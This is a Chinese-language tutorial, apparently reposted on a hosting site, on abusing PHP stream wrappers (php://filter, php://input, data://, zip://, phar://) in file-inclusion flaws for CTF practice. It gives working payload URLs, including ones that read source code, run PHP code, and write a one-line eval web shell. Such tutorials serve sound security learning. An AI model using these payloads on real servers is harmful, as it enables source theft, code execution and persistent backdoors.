您好,登錄后才能下訂單哦!
這篇文章給大家介紹PHP偽協議的示例分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
條件:
allow_url_fopen
:off/on
allow_url_include
:off/on
作用:
用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopen
與allow_url_include
的影響。include()/require()/include_once()/require_once()
參數可控的情況下,如導入為非.php
文件,則仍按照php語法進行解析,這是include()
函數所決定的。
說明:file://
文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。當指定了一個相對路徑(不以/、、\或 Windows 盤符開頭的路徑)提供的路徑將基于當前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數里,例如 fopen()
和 file_get_contents()
,include_path
會可選地搜索,也作為相對的路徑。
用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
示例:
file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相對路徑和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://網絡路徑和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
參考:http://php.net/manual/zh/wrappers.file.php
php://
協議條件:
allow_url_fopen
:off/on
allow_url_include
:僅php://input php://stdin php://memory php://temp
需要on
作用:php://
訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filter
和php://input
,php://filter
用于讀取源碼,php://input
用于執行php代碼。
說明:
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符,
內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。
協議 | 作用 |
---|---|
php://input | 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data 部分,在enctype="multipart/form-data" 的時候php://input 是無效的。 |
php://output | 只寫的數據流,允許以 print 和 echo 一樣的方式寫入到輸出緩沖區。 |
php://fd | (>=5.3.6)允許直接訪問指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一個類似文件包裝器的數據流,允許讀寫臨時數據。兩者的唯一區別是 php://memory 總是把數據儲存在內存中,而 php://temp 會在內存量達到預定義的限制后(默認是 2MB )存入臨時文件中。臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一種元封裝器,設計用于數據流打開時的篩選過濾應用。對于一體式(all-in-one) 的文件函數非常有用,類似 readfile() 、file() 和 file_get_contents() ,在數據流內容讀取之前沒有機會應用其他過濾器。 |
php://filter
參數詳解
該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:
php://filter 參數 | 描述 | |
---|---|---|
resource=<要過濾的數據流> | 必須項。它指定了你要篩選過濾的數據流。 | |
read=<讀鏈的過濾器> | 可選項。可以設定一個或多個過濾器名稱,以管道符(*\ | *)分隔。 |
write=<寫鏈的過濾器> | 可選項。可以設定一個或多個過濾器名稱,以管道符(\ | )分隔。 |
<; 兩個鏈的過濾器> | 任何沒有以 read= 或 write= 作前綴的篩選器列表會視情況應用于讀或寫鏈。 |
可用的過濾器列表(4類)
此處列舉主要的過濾器類型,詳細內容請參考:https://www.php.net/manual/zh/filters.php
字符串過濾器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13變換 |
string.toupper | 等同于strtoupper() ,轉大寫字母 |
string.tolower | 等同于strtolower() ,轉小寫字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP語言標簽 |
轉換過濾器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64編碼解碼 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串與 8-bit 字符串編碼解碼 |
壓縮過濾器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系統中創建 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系統中創建 bz2 兼容文件的方法。 |
加密過濾器 | 作用 |
---|---|
mcrypt.* | libmcrypt 對稱加密算法 |
mdecrypt.* | libmcrypt 對稱解密算法 |
示例:
php://filter/read=convert.base64-encode/resource=[文件名]
讀取文件源碼(針對php文件需要base64編碼)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
php://input + [POST DATA]
執行php代碼
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>
若有寫入權限,寫入一句話木馬
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
參考:https://php.net/manual/zh/wrappers.php.php
zip:// & bzip2:// & zlib://
協議條件:
allow_url_fopen
:off/on
allow_url_include
:off/on
作用:zip:// & bzip2:// & zlib://
均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx
等等。
示例:
zip://[壓縮文件絕對路徑]%23[壓縮文件內的子文件名]
(#編碼為%23)
壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
compress.bzip2://file.bz2
壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz
壓縮 phpinfo.txt 為 phpinfo.gz 并上傳(同樣支持任意后綴名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
參考:http://php.net/manual/zh/wrappers.compression.php
data://
協議條件:
allow_url_fopen
:on
allow_url_include
:on
作用:自PHP>=5.2.0
起,可以使用data://
數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。
用法:
data://text/plain, data://text/plain;base64,
示例:
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http:// & https://
協議條件:
allow_url_fopen
:on
allow_url_include
:on
作用:常規 URL 形式,允許通過 HTTP 1.0
的 GET方法,以只讀訪問文件或資源。CTF中通常用于遠程包含。
用法:
http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
示例:
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
phar://
協議phar://
協議與zip://
類似,同樣可以訪問zip格式壓縮包內容,在這里只給出一個示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
另外在 Black Hat 2018 大會上,研究人員公布了一款針對PHP應用程序的全新攻擊技術:phar://協議對象注入技術。
關于PHP偽協議的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。